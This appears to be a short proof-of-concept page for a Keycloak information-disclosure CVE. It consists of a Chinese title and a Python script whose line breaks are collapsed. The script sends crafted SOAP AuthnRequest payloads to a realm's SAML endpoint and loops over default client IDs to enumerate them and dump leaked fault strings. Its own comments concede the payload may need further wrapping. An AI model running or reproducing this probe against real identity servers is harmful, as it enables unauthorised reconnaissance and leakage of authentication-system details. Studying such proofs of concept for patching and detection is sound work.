CVE-2026-9794 Keycloak信息泄露漏洞

import requests def check_ecp_leak(target_url, realm, client_id): # Construct the SAML ECP endpoint URL url = f"{target_url}/realms/{realm}/protocol/saml/epa" # Headers for SOAP request headers = { "Content-Type": "application/soap+xml", "Accept": "application/soap+xml" } # Basic SOAP payload structure targeting ECP # In a real scenario, this might need specific SAML AuthnRequest wrappers soap_payload = f"""<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Header/> <soap:Body> <!-- Malformed or crafted content to trigger fault --> <AuthnRequest xmlns="urn:oasis:names:tc:SAML:2.0:protocol" client_id="{client_id}"> </AuthnRequest> </soap:Body> </soap:Envelope>""" try: response = requests.post(url, data=soap_payload, headers=headers, timeout=5) # Check if response contains fault string indicating protocol info if "faultstring" in response.text: print(f"[+] Client ID: {client_id}") print(f" Response Status: {response.status_code}") print(f" Fault String: {response.text}") print("-" * 40) else: print(f"[-] Client ID: {client_id} - No distinct fault found.") except Exception as e: print(f"[!] Error connecting to {url}: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:8080" realm_name = "master" # List of client IDs to test (Enumeration) clients = ["account", "admin-cli", "broker", "realm-management", "security-admin-console"] for client in clients: check_ecp_leak(target, realm_name, client)